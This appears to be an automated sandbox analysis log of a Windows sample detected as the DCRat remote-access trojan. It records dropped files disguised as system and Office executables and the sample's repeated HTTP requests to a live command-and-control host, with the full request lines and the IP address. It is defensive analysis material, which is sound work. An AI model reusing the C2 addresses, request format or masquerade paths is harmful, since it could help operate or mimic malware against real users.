Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Joe Sandbox ML: detected
Source: C:\Recovery\sppsvc.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 2RM12KtuNp.exe

Joe Sandbox ML: detected

Source: 2RM12KtuNp.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Microsoft Office 15\ClientX64\69ddcba757bf72	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Windows Mail\c321b7ff01a2d7	Jump to behavior

Source: 2RM12KtuNp.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49746 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49780 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49899 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49986 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49985 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49987 -> 5.101.153.173:80

Source: Joe Sandbox View

ASN Name: BEGET-ASRU BEGET-ASRU

Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: rustpidc.beget.tech

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: rustpidc.beget.tech

Source: global traffic

DNS traffic detected: DNS query: rustpidc.beget.tech

Source: smss.exe, 00000023.00000002.2372427654.0000000002FAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rustpidc.bePb
Source: smss.exe, 00000023.00000002.2372427654.0000000002D00000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002FB9000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rustpidc.beget.tech
Source: smss.exe, 00000023.00000002.2372427654.0000000002BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rustpidc.beget.tech/
Source: smss.exe, 00000023.00000002.2372427654.0000000002D00000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002EA0000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rustpidc.beget.tech/L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f14
Source: 2RM12KtuNp.exe, 00000000.00000002.2107606474.0000000002952000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002EA0000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Code function: 0_2_00007FF848D935C5	0_2_00007FF848D935C5
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 6_2_00007FF848D835C5	6_2_00007FF848D835C5
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 8_2_00007FF848D835C5	8_2_00007FF848D835C5
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 23_2_00007FF848DB35C5	23_2_00007FF848DB35C5
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 24_2_00007FF848D835C5	24_2_00007FF848D835C5
Source: C:\Recovery\sppsvc.exe	Code function: 27_2_00007FF848D835C5	27_2_00007FF848D835C5
Source: C:\Recovery\sppsvc.exe	Code function: 28_2_00007FF848DB35C5	28_2_00007FF848DB35C5
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 30_2_00007FF848DA35C5	30_2_00007FF848DA35C5
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 35_2_00007FF848D935C5	35_2_00007FF848D935C5
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 35_2_00007FF848DA9372	35_2_00007FF848DA9372
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 36_2_00007FF848DA35C5	36_2_00007FF848DA35C5
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 39_2_00007FF848D835C5	39_2_00007FF848D835C5
Source: C:\Recovery\sppsvc.exe	Code function: 40_2_00007FF848DA35C5	40_2_00007FF848DA35C5

Source: 2RM12KtuNp.exe	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: fuBYljHeUjtkgvlnN.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: sppsvc.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: fuBYljHeUjtkgvlnN.exe0.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: WmiPrvSE.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: 2RM12KtuNp.exe, 00000000.00000002.2120733534.000000001B383000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2112936217.000000001249D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename$ vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2106941468.00000000022A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename( vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2120263902.000000001ADB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename4 vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2120313271.000000001ADC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename4 vs 2RM12KtuNp.exe
